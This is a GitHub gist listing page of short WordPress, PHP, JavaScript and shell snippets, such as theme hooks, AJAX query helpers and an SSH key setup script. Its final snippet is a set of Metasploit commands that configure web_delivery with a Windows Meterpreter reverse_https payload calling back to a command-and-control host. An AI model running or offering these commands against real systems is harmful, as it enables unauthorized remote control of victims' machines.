Skip to content

Instantly share code, notes, and snippets.

Avatar
👨‍💻

Michael Wender mwender

👨‍💻
View GitHub Profile
@mwender
mwender / genesis_cpt_intro_text.php
Created Sep 23, 2013
Echo intro text from Genesis Custom Post Type (CPT) Archive Settings page
View genesis_cpt_intro_text.php
if( genesis_has_post_type_archive_support() ){
$intro_text = genesis_get_cpt_option( 'intro_text' );
if( !empty( $intro_text ) ){
echo apply_filters( 'genesis_term_intro_text_output', $intro_text );
}
}
@mwender
mwender / next_prev_pages.php
Created Sep 23, 2013
Retrieves next/prev links for WordPress pages or 'heirarchical' post_types.
View next_prev_pages.php
global $post;
$pageID = $post->ID;
$args = array(
'parent' => 0,
'sort_order' => 'ASC',
'sort_column' => 'menu_order',
);
$pagelist = get_pages( $args );
@mwender
mwender / functions.php
Created Oct 17, 2013
Remove features from WordPress parent theme. Great for removing things like shortcodes.
View functions.php
add_action( 'after_setup_theme', 'remove_parent_theme_features', 10 );
function remove_parent_theme_features(){
// remove shortcode from parent theme
remove_shortcode( 'example' );
// replace with child theme shortcode callback
add_shortcode( 'example', 'child_theme_example_callback' );
}
@mwender
mwender / rackspace_cloud_sites_gen_ssh_key.sh
Created Nov 6, 2013
Generate an SSH key for your Rackspace Cloud Site. Replace _REMOTE_REPO_HOST_ with the domain of your remote repo host (e.g. bitbucket.org, github.com, etc). Upload this script somewhere above your web root and run it as a Perl cron. After it runs you'll find `id_rsa.pub` in /.ssh/.
View rackspace_cloud_sites_gen_ssh_key.sh
#!/bin/sh
cd .ssh
ssh-keygen -trsa -fid_rsa
ssh-keyscan -t rsa _REMOTE_REPO_HOST_ >> known_hosts
@mwender
mwender / force_ie_edge_rendering.php
Created Nov 8, 2013
Force IE to render a site in the latest version of its rendering engine. Useful to add to functions.php for WordPress themes.
View force_ie_edge_rendering.php
if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false ) )
header('X-UA-Compatible: IE=edge,chrome=1');
@mwender
mwender / table_html.html
Created Nov 14, 2013
Properly formatted table HTML for use on new.triadsemi.com
View table_html.html
<table>
<caption>Wafer Fab</caption>
<colgroup>
<col style="width: 25%;" />
<col style="width: 25%;" />
<col style="width: 25%;" />
<col style="width: 25%;" />
</colgroup>
<thead>
<tr>
@mwender
mwender / wordpress_query_functions.php
Created Nov 25, 2013
Functions which allow querying WordPress directly. Useful for AJAX callbacks.
View wordpress_query_functions.php
add_filter( 'query_vars', 'theme_query_vars' );
/**
* Adds variables to $wp->query_vars
*
* @param array $vars Global WP query vars.
* @return array Array used in $wp->query_vars.
*/
function theme_query_vars( $vars ){
$vars[] = 'qa'; // "query_action" - used for switch in theme_parse_request()
return $vars;
@mwender
mwender / jquery_ajax_request.js
Created Nov 25, 2013
Example jQuery AJAX request
View jquery_ajax_request.js
jQuery( function($){
$( 'a.button' ).click( function( e ){
$.post( '?qa=default', { var1: var1, var2: var2 }, function( data ){
console.log( '[jQuery AJAX Request] ' + data.message );
});
e.preventDefault();
});
});
@mwender
mwender / recent_feed_posts_shortcode.php
Created Nov 26, 2013
Revised shortcode handling for a recent posts widget that pulls content from an RSS feed. For use in a child theme of Avada.
View recent_feed_posts_shortcode.php
add_shortcode('mcm_recent_feed_posts', 'shortcode_mcm_recent_feed_posts');
/**
* shortcode_mcm_recent_feed_posts() - Retrieves posts from RSS feed
*
* @see fetch_feed()
*
* @since 1.0.0
*
* @param array $atts {
* @type string $url RSS feed URL.
View launcher-commands.code
use exploit/multi/script/web_delivery
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery
set DisablePayloadHandler true
set SSL True
set TARGET 2
set payload windows/x64/meterpreter/reverse_https
set LHOST myc2proxy.com
set LPORT 443
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned
run -j